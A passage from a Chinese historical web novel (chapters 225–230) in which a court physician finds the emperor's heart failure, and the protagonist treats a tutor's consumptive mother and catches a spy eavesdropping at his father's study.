景和帝伸手将人扶起,乐呵呵笑道:“快起来,快起来。”随后用手指点着沈在云,看向一旁的江荣海,“这是真高兴了,从方才进殿起,他脸上就没有一点笑模样,可见是真心喜欢行医。”江荣海也在一旁陪着笑。
沈在云脸上带着笑意,“侄儿不想辜负这一身医术。”
景和帝听后,先是‘哦’了一声,然后才说,“这么说来你医术很厉害?”
沈在云自信道:“厉害谈不上,不过寻常的病,还是没问题。”
景和帝端起饮子喝了几口,然后看似不经意的提起,“自从回京后你与封砚初关系很好?”
沈在云神经立即紧张起来,不过还是表现出一副轻松的模样,脸上挂着浅笑,“哦,是啊,去年恒文酒肆犯事,被玄麟卫锁拿当日。侄儿恰好在旁边的一个茶摊上闲坐,意外碰见陈泽文和封砚初两个。后来,一来二去的交集就多了,再加上封砚初会些医术,侄儿时常去与他探讨。”
景和帝缓缓说道:“这样啊,那你与这封砚初两人的医术,谁的更好一些。”
沈在云轻轻摇头,语气中带着坚定,“侄儿也拿不准。若是让侄儿认输,自是不服;可如果说封砚初的医术不及侄儿,但之前有几次探讨,发现他也不弱,既然无法比较,侄儿自然不能随意下定论。”
景和帝听了这番话,哈哈笑道:“原来如此,我就说么,老六怎么总喜欢去封砚初那里讨药,有时候就连御医都被他抛之脑后了。”沈在云听后沉默不语。
他见对方没有说话,像是缓解气氛一般,反而安慰起侄子,“不用那么紧张,别说老六了。有时候,就连朕也不想听他们那些车轱辘的套话,来来回回都一样。”
沈在云似乎猜出来陛下叫他进宫的原因了,大胆开口道:“侄儿不才,虽然医术不及太医院的各位大人老成,但自认有些本事在身。”
说到这里他起身拱手行礼,“侄儿大胆一会,想为皇伯父诊一诊脉,正好您也检验检验,看侄儿可当得起大夫二字。”
江荣海自然清楚,陛下将肃王世子叫进宫的真实目的。但此刻,他还是上前两步,高声道:“大胆,陛下的龙体岂是你轻易诊的?”
景和帝抬手制止,“无妨,在云是朕的侄儿,朕岂能信不过?”说罢,已经将胳膊伸出来了。
而沈在云也大胆上手诊脉。当他搭上脉搏没一会儿,便察觉到陛下的脉象结代,有间歇的情况。
正所谓,望闻问切,他说道:“皇伯父,让侄儿看一看您的舌苔。”
景和帝伸出舌头后,只见舌质淡白,舌体胖大,边缘有齿痕,舌苔薄白,这明显是心阳虚衰之症。
沈在云收回诊脉的手,问道:“皇伯父,您是否时常觉得气短,乏力,有时还会有喘息心悸,耐力不足的情况?”
景和帝点头,“确实如此,一问御医,他们就只知道吊书袋子,说是累着了,要多休息。可朕身为一国之君,朝政繁多,如何能歇的住?这汤药没少吃,只是见效极慢。”
沈在云很清楚,陛下这是年岁大了。有时候一些话还是要说的,免得陛下有种自己身体还行的错觉。思及此处,行礼道:“请陛下恕罪。”
景和帝并未动怒,而是问道:“朕的身体到底如何了?”
“陛下乃是心衰之症。”沈在云拱手垂头。
“可治得好?”景和帝心里不由有些紧张。
沈在云再次请罪,“请陛下恕罪。”
此时,景和帝已经缓过来了,他将沈在云扶起来,“这如何是你的错,你具体说一说吧,如今就连太医院也不说实话了。”
沈在云站起身,“太医们也并非胡说,陛下的确需要多加休养。心衰之症只能延缓,预防引发其他病症,好在如今症状不算重,可以及时诊治。”
“朕,还有多长时间?”景和帝声音冷静至极,仿佛问的是旁人,生病之人也不是他一般。
“若陛下不再操劳,好好保养,大约还有五年;若是依旧如此……时间只会更短。”沈在云并未抬头去看,那这头发已经花白的皇帝,而是陈述着事实。
“朕知道了。”良久,景和帝看向侄子,眼神锐利的不像是一个老年人,命令道:“此事,不得外泄!”
沈在云连忙保证,拱手道:“遵旨!”
此时此刻,景和帝已经没有心情继续和侄子闲聊,他缓缓的摆摆手,“你退下吧。”
当出了勤政殿的沈在云,再次回头看向那巍峨的大殿。明明周围站着不少侍卫,可就是让他觉得里头的人很孤独,所有人都离他远远的,有的敬畏,有的觊觎着权力。
这一刻,他不禁反问着,那个位置当真那般好?这历朝历代,有多少人为了皇位流血,只怕数都数不清。
那些人已经品尝过权力的滋味,自然就无法舍弃,心甘情愿为了那至高无上的权力,从而舍弃掉一切。
想到此处不禁冷笑出声,他又有什么资格觉得旁人孤独,与其想这些有的没的,还不如好好思考一下他那未来的医馆。
第二百二十五章 坐上是什么感受
沈在云离开后,勤政殿一时之间,陷入一片寂静,甚至可以听见那轻微的呼吸声。
殿外,炎炎夏日炙烤着大地,万物焦灼。
突然间,‘轰隆隆’,天空发出一声巨响,那是响彻天地之间的雷鸣声。
紧接着就是一阵‘噼里啪啦’,豆大的雨点砸在地面上,砸在屋檐上,砸在未来得及避雨之人的身上。不到一盏茶的时间,雨势渐大,竟犹如织娘手里织的布一般细密。
不知过了多久,景和帝长长的叹了一口气,言语中是无尽的伤感,“朕突然理解皇兄临终之前,说的话是什么意思了。”他似乎是对自己说,又似乎是在与江荣海说。
江荣海低着头,不敢发出一丁点声音,只默默的听着。
而景和帝也没想让对方回答,他摸着桌案之后的那张椅子,继续道:“当年,朕还年幼,皇兄也是坐在这个位置上处理着朝政,当时朕羡慕极了;皇兄自然看出朕的羡慕,可他没计较,反而将朕抱的坐在这个位置上,问朕:坐上是什么感受?朕记得当时回答说,与其他座位没什么区别。”
“皇兄说:是啊,没什么区别,他也不过是暂时坐在这里,早晚有一日还会有别人坐上去。”
江荣海听到此处,已经泪流满目,哀声连连,“陛下~”
景和帝看向陪伴多年的老太监,笑道:“朕都没哭,你哭什么?更何况这天底下谁都有这一日,早晚而已。”
随后猛地一拍那个位置,眼神变得幽深,坚定道:“既如此,原来的计划肯定是不行了,为了沈氏江山,为了以防万一,朕必须提早打算,留下些什么。”
江荣海眼神中带着惊惧之色,“陛下~”
“去!不要让任何人知道!”景和帝挥手道。
“是!”
兵部。
封砚初抬头看着屋外的暴雨,这都临近下职了,竟下起雨,还来的这么急。
身后传来一个抱怨的声音,“啧,这眼瞅着下职了,怎么下起雨来了?”原来是王主事,“哟,封主事,你往里站站,衣角都被淋湿了。”
“多谢提醒。”封砚初嘴角含笑,往里挪了挪,“这雨来的急,应该用不了太长时间就会停的。”
因为暴雨的冲刷,炎热之气消散了许多,王主事终于将手里的扇子收起来了。
他摇了摇那胖胖的手指头,“我每日下职,都会去前面街角拐弯处的小摊上吃一碗羊汤,他家那羊汤味道可是一绝,改日你定要尝一尝。今日下雨,也不知还在不在?”
事实也如封砚初所说的一样,没一会儿,天空便已经放晴,大家都纷纷收拾东西离开了。
走到街角之时,那个卖羊汤的摊贩还在,空气中弥漫着一股香味,王主事早已经坐在那里,朝那摊主招呼,“还是老样子!”
那摊主吆喝着,“好嘞,一碗羊汤,一张饼。”
封砚初回去的方向是另一边,所以很少经过这里。但他今日过来一瞧,才发现这里的市井烟火气,那是属于普通人的热闹,“劳烦,也给我来一碗羊汤,一张饼。”
摊贩抬头一瞧,见来人是第一次,手上忙碌着,嘴里却道:“您可来着了,我家这羊汤,让您吃了一回还想第二回,您有忌口吗?”
说实话,封砚初虽然来到这个世界多年,但是他从未在这样的小摊上用过吃食,无论是家中长辈,还是身边的下人,都会说这种地方不干净。
何况他自己也心存偏见,毕竟天气炎热,普通百姓又没有冰鉴等物冷存食物,东西难免腐坏,所以也从未主动靠近过,现在看着好像还不错,“没有。”
因为下雨,冯四便驾着马来来接人,郑伟也一起随行。现下雨停了,封砚初有心逛一逛,冯四又驾着车返回,反倒是郑伟留下来了。
郑伟看着这污黑的凳子,眉头皱的都能夹住一只苍蝇,他倒无所谓,可郎君哪在这种地方用过吃的。幸好他早有准备,拿出帕子使劲擦了擦,这才请郎君坐下。
此刻,王主事的羊汤刚被端上来,只见他从桌上的筷筒中随意捡了一双筷子,笑道:“封大人没来过这种地方?正所谓不干不净吃了没病,不用在意这些小节,只要味道好就行。”说罢埋头吃起来。
封砚初只是笑了笑,他盯着筷筒里的筷子,眉头就没松开过,这得多少人舔过?
幸好郑伟早有准备,将装有餐具的小木盒打开,直接将木盒摆在桌上,“郎君,用这个。”
随后又拿出一个并不大的碗,走到摊主跟前,“劳烦用这个盛汤。”
摊主还是第一次见识,他看了看大小,犹疑道:“这……这有些小了。”
郑伟却不在意,“无妨,我家郎君也就是尝一尝味道。”
摊主并未接碗,他担心自己万一不留神,将那碗砸碎,还要赔,就这么将羊汤倒进去,又挑了一张品相最好饼递上。
当封砚初就着饼喝汤时,才发现美味果然藏在街巷之间。味道十分鲜美,与那些酒肆茶肆里的不同,那里的东西太过精致;这东西虽粗犷,但别有风味。
正在吃饭之际,竟然碰见了谢鹤川,还是对方最先发现的。
“竟然真的是你,我还以为自己看错了呢?”谢鹤川没想到自己竟然在羊汤摊看见了封砚初。
封砚初解释道:“听同僚说此处的羊汤不错,今日恰好有空,便来尝尝,果然不俗。”
谢鹤川一边招呼摊主给自己来一碗,一边道:“可别小瞧这羊汤摊,里头的羊那都是晋西和晋北草原来的,没有一丝膻味。”可见也经常来此。
这时,王主事已经吃完了,抹了抹嘴,“封大人,慢用,我先告辞了。”
“告辞。”
第二百二十六章 你家里有很多藏书
封砚初看着这来来往往的行人,只觉得热闹。有的在讨价还价,有的遇上熟人直接往街边一站,就这么聊起来了,还有的因为孩子的哭闹不得不停下来掏钱购买。
“很热闹,是不是?”谢鹤川见封砚初虽然还在喝着羊汤,可目光早已经被这景象吸引住了。
封砚初在反思自己,自从来到这个世界,整日里忙着自身之事,从不曾低头去看,“突然发觉,我以前一直站的太高,好像从来没有认真的看过他们,看过这百姓的烟火气。”
谢鹤川笑道:“我回家虽然不经过这里,但还是会时常过来逛一逛,看着这些忙碌的身影,仿佛烦心之事也可消散了。”随后指着不远处的一处空地,“就像那里,原本有一个书摊,是摊主家道中落,变卖家中藏书,我曾经在他那里买了不少好书。”
摊主听见这话,高声道:“您说苏道南吧,因为下暴雨,便将书寄放在旁边卖雨具的店铺里,提前回去了。若想买书他家就住在花枝巷,去那一打听就知道了,或者明日来也是一样的。”
“多谢告知。”正好封砚初也动了看一看的想法。
两人说了一会话,又一路走,一路逛。直至天边被染成一片橙红之色,这才相互告辞。
回到‘枕松闲居’时,天已擦黑。才进门,就听门房说来了一封信。
当封砚初进书房一瞧,桌案之上果然放着信。是孙延年寄来的,里头先是感谢他托人送去的药,又说了过些时日就要回京的消息。
次日,午时。
他趁着吃饭的功夫,去了一趟街角,果然看见一个中年男人守在书摊前,捧着书在全神贯注的读着。
他走近一瞧,略微翻了翻,里头除了寻常的书籍,就是些志怪故事,“就只有这种吗?”
直到说出这话,那个叫苏道南的才终于舍得放下书,“自然还有别的,不过在家放着而已,看你想买什么书?”
其实封砚初自己的书也不少,但他还是很热衷收集一些书房里没有的,所以并不限制类型,“听人说,你家里有很多藏书?”
苏道南得意的点点头,“那是当然,想当年我家祖上那也是世家出身,奈何犯了事,家道中落,否则我便与你一样了,又怎么可能在这里卖书为生?”
“如此,下午下职后,我便去你家挑一挑。”封砚初说完这话又补充了一句,“是在花枝巷,对吧?”
苏道南先是乐的点点头,随即一愣,“是,我家就在花枝巷。”
等封砚初离开了,那个卖羊汤的摊主朝苏道南招手道:“唉,我说老苏,你得谢我,昨日那人前来吃羊汤,我就瞧他很不一般。人家用的都是自己的碗和筷子,所以我就赶紧说你今日还在,这才给你招揽了生意。”
苏道南笑着道:“那我确实需要谢谢你。”随后收敛了笑容,看向封砚初离开的背影,表情竟有些复杂。
下午下职,王主事见封砚初与他走的是同一条路,问道:“怎么?你今日也要去喝羊汤?”
封砚初并未回答,而是反问,“你知道卖羊汤对面的那个书摊吗?”
王主事点头道:“自然知道。姓苏,家里以前也不错来着,奈何祖上不争气,犯了事,他这一支乃是旁支,这才免于死罪。不过据说他家确实有不少藏书,但毕竟卖了这么多年的书,还有没有,这就不好说了。”
两人一起到了街角,苏道南果然还在,见到封砚初后,就开始收拾起东西来,“您稍后,我收拾收拾,咱们一起走!”
花枝巷。
封砚初是第一次来花枝巷,此处虽然离城南很近,但基本上住的都是一些家境殷实之人。
与广林巷的安静不同,巷子里有不少往来之人,还有奔跑打闹的小孩子。那些人还时不时地朝苏道南打招呼,或是说一些事情,苏道南则是一一回应。
“苏先生,带人回来买书啊。”
“是啊,王婶。”
“苏先生,我家孙儿满月了,回头你帮忙取个名字。”
“没问题,何叔,明日你来拿。”
到了苏道南家门口之时,封砚初听见院内传来一阵琴音,分外熟悉。
推门而入,苏家的整个院落全部落入眼帘。共有四间屋舍,左侧还垄着一块菜园,几只母鸡带着一群小鸡在院子里漫步啄食。院子中间有一棵榕树,树下放着一张桌子,一人正在弹琴。
“苏先生?”封砚初没想到竟然在这里碰见熟人。
“封二郎君?你怎么来我家?”树下之人也惊地站起来。
原来弹琴之人,就是之前在武安侯府教导他们琴课的女先生——苏柯。
一旁的苏道南这才作出一副恍然大悟的样子来,“你们竟认识?”
苏柯深深地看了一眼兄长,“这位是武安侯府的二郎君,是我以前教导过的学生。”
苏道南笑道:“哎呀,也真是巧,他听说咱家里有不少藏书,便要来买,只是没想到竟是你以前的学生。”原来他早在第一眼看见封砚初之时,就已经认出对方了。虽然没有正式见过面,但他曾经远远的看见过对方。
苏柯将琴抱起来,“我先去沏茶。”
封砚初拱手道:“劳烦先生。”
没一会儿,苏柯就已经端着茶杯来到榕树下,“家里没什么好茶,将就用吧。”正在说话之时,屋子里突然传来一阵咳嗽声。
第二百二十七章 你看着给吧
封砚初闻声看向门窗紧闭的屋子。
苏道南叹气道:“唉,那是家母,身患重疾,这些年不知吃进去多少药,依旧未见起色,如今是夏季倒还好些,到了冬季就更难熬了。”
封砚初顺势问道:“大夫诊治,可说过是何症候?”
苏柯坐在一旁,视线望着屋子的方向,“是肺疾,受不得一点寒凉。”
封砚初道:“即是肺疾,虽不能染了风寒,但现在是夏季,天气炎热,开窗通风,对病人更好一些。”
苏柯疑惑不解,语气中带着犹豫,“可,大夫说,最好将门窗关上,不要见风。”
封砚初嘴角含笑,“哦,我倒是学过些医术,若是不介意的话,让我去瞧一瞧。”
苏柯还未说话,苏道南却欢喜不已,“这……这可真是多谢你了。”说完也不理会妹妹,带着封砚初径直往屋里走去。
封砚初跟着对方刚进去,便看到因为门窗紧闭,室内有些昏暗。房间倒是不大,布置的也十分简朴,除了一张床,以及紧挨着床边的矮桌和一个圆凳之外,再无一物。
“咳咳咳~”躺在床上的人明显想起身说些什么,可迎来的却是一阵咳嗽。
因为长时间未通风,屋内的空气有些混浊。封砚初径直走向窗户,用竹竿支起来,明媚的阳光透过窗户洒进来,屋内顿时亮堂了许多。
他这才完全看清床上之人,对方头发基本上已经全白,整个人很瘦弱,脸上长时间因病,带着不正常的萎黄。见他进来,撑起身子,用手指了指一旁的圆凳,示意坐着。
苏道南看出母亲想表达的意思,上前安抚道:“母亲,这位是封郎君,他与儿相熟,因为会些医术,儿拜托他给您瞧瞧。”
此时,苏柯也进来了,还端了一碗温水递给老太太,“母亲,喝些水,能舒服一些。”
老太太这才喘匀了气,声音里满是虚弱,“我这身体也就这样了,这么多年也是拖累,何苦费这个人情。”随后看向封砚初,“劳烦你跑一趟,我这病是治不好了,家里已被我掏空,也没什么好东西招待。柯儿,快给客人倒些茶来。”
“老太太不必忙,我先给您瞧瞧再说,也不费什么功夫。”此时,封砚初已经明白苏道南带自己回来的原因了,对方必定认识自己,估计是想利用苏先生这一层关系,希望自己能资助一二。
他伸手搭脉,发现老太太的脉象迟缓,“我瞧瞧您的舌头。”老太太伸出舌头,只见舌红,苔薄黄。
见此问道:“我瞧老太太身体消瘦,她是否还有咳血,潮热,盗汗的症状?”
兄妹二人一起点头,“确实如此。”
封砚初听后继续说着,“此病是由于正气不足,感染痨虫,侵蚀肺脏,耗损肺阴,以至于气阴两虚,是肺痨之症。”
苏道南一听这话,便叹着气,“那些大夫也这么说。”
苏柯却问,“可还有办法?”
封砚初略作沉吟,“治疗当以补虚培元,抗痨杀虫为要,取笔墨来,我写药方。”
苏道南一听有戏,连忙做了一个请的姿势,“外头请。”
没一会儿,苏柯就将笔墨准备好了,封砚初提笔写着:沙参、麦冬、天冬、生地黄、熟地黄、百部、川贝母、阿胶、三七几味药。
“此药先服三日,三日后我再来复诊。”他写完药方,吹了吹递给苏道南。
苏道南接过去瞧了之后连连致谢,反倒是苏柯扫了两眼后,先是神色一顿,然后才将药方收好。
“你今日本是买书的,没想到竟要劳烦你为家母诊治,多谢。”苏道南先是拱手致谢,然后又说,“请随我到书房,看看里头有没有你想要的书。”
封砚初跟着对方进入书房后。只见里头三面墙都是满满的书,地上摞了好些大箱子,书桌之上还有不少空白的纸张,其中明显是抄录到一半的。总之,四周堆了不少的东西,几乎连下脚的地都没有。
苏道南倒也没因为凌乱而难为情,反而说,“这些都是先祖留下来的书。我卖了这么多年的书,即使有再多的珍稀古籍,早晚都会卖空,所以,便抄录下来卖。”
此时,封砚初几乎已经听不见对方在讲什么,他早就开始翻看起来,里头大部分他都有,只是还有一小部分是自己没有的。
他一一将书挑出来,问道:“这些书,多少钱?”
苏道南走近仔细瞧了瞧,然后挑出三四本,“这几本乃是孤本,等我抄录之后再给你,你为我母亲看病,其余的便都送你吧。”
封砚初摇头道:“一码归一码,苏先生与我有师生之义,既然知道老太太生病,作为学生自然不会袖手旁观,这些书虽然都是抄本,但知识无价。”
随后目光扫视着这一屋子的书,“更何况,这里头的书我还未全部挑完,后面肯定还会再来的。”
苏道南只得说道:“罢了,你看着给吧。”
封砚初掏出银币递给对方,随后看向屋外,“时辰不早了,我也该回去了。”
苏道南将人送出门以后。便看见妹妹苏柯便坐在榕树下的凳子上愣神,一副满脸愁绪的样子。直到他将银币放到对方跟前,才反应过来。
苏柯看见银币,便明白了几分,“哥哥,你怎能……”
话未说完,苏道南就插言阻止,“这还是封二郎君硬给的,估计方才他也瞧出咱家的窘境,母亲还需抓药,我就收下了。”
苏柯叹道:“本来你使计将人带回来,我就已经很羞愧了,现如今还要人家资助银钱,我……唉~”
“妹妹,我何尝不知这样不妥,但也是走投无路了,总不可能真的瞧着老娘去死。这些年,我卖书,你在那些高门大户里教琴,原本也可以过的殷实。可咱家给药铺砸进去多少银钱,连个响都没听见,老娘不仅没见好,还被病痛折磨得不轻。”苏道南这一番话,顿时让苏柯止了声。
过了一会儿,他又说道:“你留在家里做饭,将药方给我,我去抓药。”
第二百二十八章 讳疾忌医可要不得
离开苏家后,封砚初并未计较苏道南,这个算计的行为。因为对方这是为了重病的母亲,所以他愿意打着买书的名义多给点银币,不至于连买药的钱都凑不齐,若是自己直接赠药,苏家兄妹必定不会要。
出了巷子口,恰巧看见等待客人的轿夫,“广林巷。”
轿夫看到封砚初的穿着打扮,两眼直冒精光,乐呵呵道:“好嘞,您请入座。”花枝巷距离广林巷并不近,好在酬劳也很丰厚。
封砚初坐到巷口便付钱走了。
‘咚咚咚!’
一阵敲门响起,是冯四开的门。
对方见到他之后,脸上带着兴奋之色,忙接过那一摞书,“郎君,您回来啦。”
谁知刚进屋里,李妈妈就来了,看到他之后,这才松了一口气,“二郎,你若是下职后有事要做,也托人回来说一声,今日好半天没见你回来,我这心到现在都悬着呢。”
封砚初一边洗漱,一边劝着,“妈妈,我知错了,下次不会了。”
李妈妈这才露出笑来,“这才好,你在外头可吃了?”
封砚初摇头道:“今日专门去买书了,还没来得及吃饭。”
“哎呦,还没吃呢,我去厨房瞧一瞧。”李妈妈说完,又风风火火的出去了。
谁知才要吃饭,陈泽文来了,进门见此一幕,“哟,现在才吃呢?”
“回来的有些晚了,正好,你也一起用些。”封砚初说话间,招手示意雪香加一副碗筷。
陈泽文本来没想吃,但是见二郎仿佛用的很香的样子,也就顺势坐下来,“如此,我也用一些。”
用完饭,两人一起躺在院子里,桂花树下的躺椅上,饮着清茶。
“说吧,你来找我什么事?”
陈泽文这才想起来的目的,转头看向对方,一副兴致勃勃的样子,“你听说了没?沈在云要开医馆了!”
封砚初果然来了兴致,“开医馆?肃王和肃王妃同意了?我记得前段时间还同我抱怨,说京中不自在,想回药谷呢。”
陈泽文听了这话,嗤笑一声,“怎么可能?是肃王进宫抱怨来着,没想到陛下竟然上了心。昨日专门将沈在云叫进去说了一顿,命他以后不许提回药谷的事,不过允了他在京城开医馆。”
“你的消息这么灵通?昨日的事情,今日就知道了?”封砚初用狐疑的目光看向对方。
陈泽文被这眼神看的受不了,“哎呀,今日一大早,肃王妃就来我家,朝我母亲哭诉。这不,我就知道了,估计是想让我母亲进宫说和一下,但这怎么可能呢。”
“虽说皇室宗亲开医馆是头一遭,但开张之时,咱们去贺一贺。”封砚初虽然与对方说着话,但思绪却想起之前来。
沈在云来‘枕松闲居’时,曾隐喻陛下生病的事。难道陛下不相信太医院,这才找借口将沈在云叫进宫,目的就是为了给自己诊脉?
就在他思绪乱飞之际,只听陈泽文轻轻“嗯”了一声,“那是自然,不过,我估计到时候去的人少不了,肯定有很多人瞧稀奇。”
次日。
封砚初照常去上职,没想到才进门,就碰见王主事,手里依旧不停地扇着扇子,看见他之后甚至还问着,“封主事,你昨日可买到书了?”
他并未回答,而是看向对方,略作审视,然后才说,“王主事,我瞧你总是比旁人更容易热,而且动不动就是一身汗,要不找个大夫瞧一瞧。”
王主事呵呵笑着,扇子扇得呼哧呼哧地作响,“是吗?我这就是体胖贪凉而已。”
没想到封砚初神情变得严肃,“王主事,我曾经也算是看过几本医书,你这看着胖,其实像是体虚之症,讳疾忌医可要不得。”
王主事原本还以为,封砚初发现自己给苏道南牵线搭桥,心生不满。可对方那副严肃的神色,让他心里不禁怀疑起来,“难道我这胖不是健壮,而是体虚的缘故?”
封砚初听后,只是笑了笑,便进门而去。
果然,一整天,王主事都心神不宁的,下职之后更是未敢耽搁,连一向喜爱的羊汤都没喝,就急匆匆的去医馆看大夫去了。
话说封砚初下职后,并未去‘枕松闲居’,而是回了侯府,这让侯府的门子见到二郎君,一时之间还有些惊讶。
饭桌上。
大家难得齐聚在老太太这里用饭,气氛也很和睦。
如今的三郎和之前大不一样,多了一些英武之气,也不似以前那般淘气浮躁,看见自家二哥回来还很奇怪,“二哥,你怎么想着今日回来了?”
父亲封简宁听见这话,不禁皱眉面露不悦之色,“瞧你说的是什么话?这里是你二哥的家,难道还不能回来了?这么大的人了,说话还是这般不仔细。”
三郎是张口就来,经过这么一提醒,才察觉自己说的不妥,立即道歉,“二哥,对不起,我没有那个意思。”他只是奇怪,毕竟二哥经常住在广林巷,回来的次数很少。
封砚初瞟了对方一眼,“我知道你是无心;这不是想着好几日未见你,也不知道你的惊鸿枪练的如何了?可有偷懒?”
三郎一听这话,心里不由一紧,就连脸上的笑都不似方才自然,“二哥说的哪里话,我这些日子除了当差以外,就是勤学苦练,未敢有丝毫懈怠。”
二妹封砚婉对二哥能回来乐见其成,她早就想请教一番,“二哥,我最近也很刻苦,不过有些地方总觉得使起来不顺畅,你一会儿帮我瞧瞧?”
“好!”封砚初笑着应了。
自从汪永缃嫁进武安侯府以来,封砚初就很少回来,这几乎让她几乎忽略了对方的存在。可今日饭桌之上,上演的这一幕,无不在告诉她对方的重要性。
三郎只是奇怪二郎突然回来,他自己都未察觉到,但还是受到了侯爷的呵斥,而在场之人已经见怪不怪了。
第二百二十九章 父亲,周围还有人偷听
饭后,封砚初便去了二妹封砚婉的院子,为她指点了一番流云剑法;紧接着又考教了三郎的惊鸿枪;最后才去了父亲的书房。
此刻,夜幕已至,他身后并未跟随任何下人,而是自己提着一盏牛角铜灯往书房走去,当他到了以后,才发现外头并无一人。
‘咚咚咚’
“进来,门没关。”父亲封简宁的声音传出。
封砚初推门而入,吹灭了灯笼,将其放在一旁,行礼道:“父亲。”
封简宁并未读书写字,而是坐在一副棋盘跟前,“我就知道你是有事才回来的,先不着急,过来与我下一盘棋吧。”
“是,父亲。”封砚初坐在对面,主动拿起白色的棋子,等父亲落子后,这才将一枚棋子落下,“确实有事。”
封简宁明白次子每次说的事都不小,听见这话抬头看去,“具体什么事?”
封砚初并未着急回答,而是敛声屏气仔细听着周围的响动。
直到封简宁看见儿子的异动,便明白对方担忧的是什么,心中愈发重视起来,“我已经所有人,都全部退下了。”
封砚初听见这话,嘴角却露出一抹冷笑,“不,父亲,周围还有人偷听!”说罢,从腰间的扇袋内,将扇子取出拿在手里,迅速跨出门,朝屋顶上一瞧,果然有一个黑影鬼鬼祟祟的!那黑影显然没想到他会这么敏锐,当即就想跑。
可他怎么可能给对方这个机会,立即飞身踏上房顶,于此同时,手里的扇子脱手而出,朝黑衣人袭去。
只听‘噗呲’一声,扇子已经划伤了对方的肩头,随后再次回转至封砚初的手中。就是这个短暂的停顿,他已经到了黑衣人跟前,朝对方的胸前猛拍一掌。
黑衣人还没来得及反应,封砚初就已经到了跟前。紧接着,便迎来一掌,他知道对方掌法的厉害,正欲飞身离开,可到底晚了一步,就这么硬生生挨了一下,随后被对方就这么从屋顶击落到地面。
此处,打斗的声音引起了周遭的注意。所以,当黑衣人刚落地之时,就被方恩和几名下人围起来了。
封砚初跳下房顶,走到黑衣人跟前,瞥了方恩一眼。对方立即撤掉那人遮在脸上的黑布,一个熟悉的面庞落入眼帘。
一旁的封简宁震惊道:“居然是你!我侯府哪里对不起你,你竟然做如此下作之事!”
封砚初心中已有猜测,冷哼一声,看向对方的眼神犹如粹着寒冰一般,“我说话,你竟然敢偷听!难道你的主子就没告诉你,想偷听我说话,就要做好暴露的准备!”
封简宁气的直喘粗气,指着黑衣人对方恩道:“先带下去医治,别让他死了,然后好好审一审!”
封砚初上前朝父亲轻轻摇了摇头,然后对方恩说,“先带下去,除了你,不许任何人靠近!”
方恩自然听出这言外之意,先是看了看侯爷,见对方并未阻止,便明白了,随即带着黑衣人下去了。
两人进了书房,封简宁依旧有些小心翼翼。
还是封砚初说了句,“没人了。”
“呼~那就好。”封简宁这才松了一口气,“你方才为什么不让医治?若是死了,怎能问出幕后主使?”
封砚初轻叹一声,“父亲,不必问,必定是陛下安插在家里的眼线。若就此失手打死倒也好,万一再问出什么,那才坏事。如此,即使陛下知道也没办法,毕竟死的这人是咱家的下人!那么究竟是谁安插的细作,也就没人知道了。”
封简宁这才反应过来,“那你搬出去住,莫不是因为这个?”他原先以为儿子是嫌家里人多口杂,做事情不自由,这才搬出去住的。
“也有这个原因吧,如今‘枕松闲居’那里都是自己人,做事倒也方便。”封砚初并未否认。
“你究竟有什么话想说?”两人这才正式进入话题。
直到现在,封砚初才说出今日的目的,他下意识压低声音,“父亲,陛下可能得了心衰之症。”
“什么!”封简宁被儿子的这番话惊着了,“你从哪里知道的消息?可有把握吗?”
“儿子从何处得来的消息,父亲你还是别问了,儿子亦不会说。至于把握,虽没有十分,但也有七八分了,心衰之症乃是年老之人最容易得的病。”
“那你能否推算出还有几年?”封简宁咽了咽唾沫,双眼紧盯着儿子。
“这病治不好,若是小心维持,约莫还有五年的光景,若是点灯熬油继续下去,时间只会更短!”封砚初也是根据自己的分析得出来的,若非紧要,陛下不可能冒着风险找沈在云。
“这事太大了!”封简宁端起茶杯,饮了几口里头的茶水,试图压一压心中的惊愕,“你千万不能外泄!包括你大哥,他毕竟成亲了,万一被汪氏知道,那才不妙!”
“父亲,儿子晓得轻重。”封砚初事情已经说完,他看向窗外,“今晚闹得动静不小,儿子就不打扰父亲休息了。”
封简宁现在满心满眼都是那件事,听见儿子要离开,也只是胡乱的点点头,“嗯嗯嗯,你回去吧。”
封砚初离开书房,并未直接回自己的院子,而是去了关押之处,果然只有方恩一人守着。
“二郎君。”方恩赶紧行礼。
“里头怎么样?”封砚初问道。
方恩才查看过,“出气多进气少,眼瞅着就不行了。”
“这里不用你守着了。”封砚初说完这话,便踏步进去。
第二百三十章 宁愿相信一个陌生的外人
这里头,除了门之外,没有一扇窗户,被关在此之人不知昼夜。此处,就是侯府的暗室,全府知道的人不超过六人,包括大娘子,而封砚初也是在考中进士之后,父亲才告诉他的。
他吹亮火折子,将里头的油灯点亮,随后坐在一旁的长凳之上,看向躺在地上的人,“你是侯府的老人了,自问待你也不薄,为何背叛?”
地上之人上气不接下气,断断续续道:“我……不觉得……这是……背叛,他们……答应了,……只要我完成……安排的……任务,就……就让我儿子……成为良籍,……将来可以……参加……科考。”
封砚初听后冷笑,“你在侯府多年,若是有此夙愿,无论是父亲,还是母亲都不会拦着。不仅不会拦着,还会开恩赏一笔安家费。”
那人呵呵笑着,“会吗?我……可不敢赌,今日败了……只是没想到……二郎君的功夫……竟这般厉害。”
“你在侯府多年,你不信整日相处之人,却宁愿相信一个陌生的外人?”封砚初闻言只觉可笑,“不要觉得自己伟岸,甘愿牺牲,其实你才是最自私之人,宁可将全家的命运交给一个外人。”
那人的眼睛里迸发出倔犟,“夏津……还不是……跟着老侯爷半辈子,……可到头来,也就那样,连个自由身……都没……捞着。”
封砚初起身走近,居高临下的看着对方,只觉得此人愚蠢,慢悠悠道:“谁告诉你夏津是奴籍的?他早在二十多年前,祖父就给了自由身,并且还承诺让他入军中效力,是夏津自己不肯,宁愿终身留在祖父身旁。如今虽说祖父去世,但侯府承诺会照顾他终老的。”
那人脸上露出不可置信的表情,“不可能,……那人说了,……老侯爷是骗……骗夏津的,……夏津本就奴籍,……否则怎会……将隐秘之事……交给夏津……去做。”
封砚初对此人并无动容,神情一片冷色,他理了理衣裳,语气中带着漫不经心,“是你自己蠢,如今我只想知道,你到底朝外透露了多少?你可要想清楚再说,毕竟你的家人与你的回答息息相关。”
那人终究还是吐了口,“侯爷……以祭祖之名,调查青州徐家……还有夏津……亲自去北边……调查;信国公当年覆灭……是你……在背后……做了推手;还有……”
封砚初抬手道:“好了!你身后之人可是玄麟卫?我父亲的书房,你可有进去过?”
“确实是玄麟卫,……我只进去过一次,但方恩……看得太严,未能……找到……东西。”那人说了这么多的话,气息越来越弱。
“住进去一次?还未找到?这话哄傻子罢了!”封砚初慢慢靠近,“你觉得我会信吗?”
“这是……真……真……的……”话音未完,那人便已咽了气。
封砚初看都没看一看,离开暗室,刚走到院门口,就看见方恩守在此处,他只说了一句,“处理掉。”
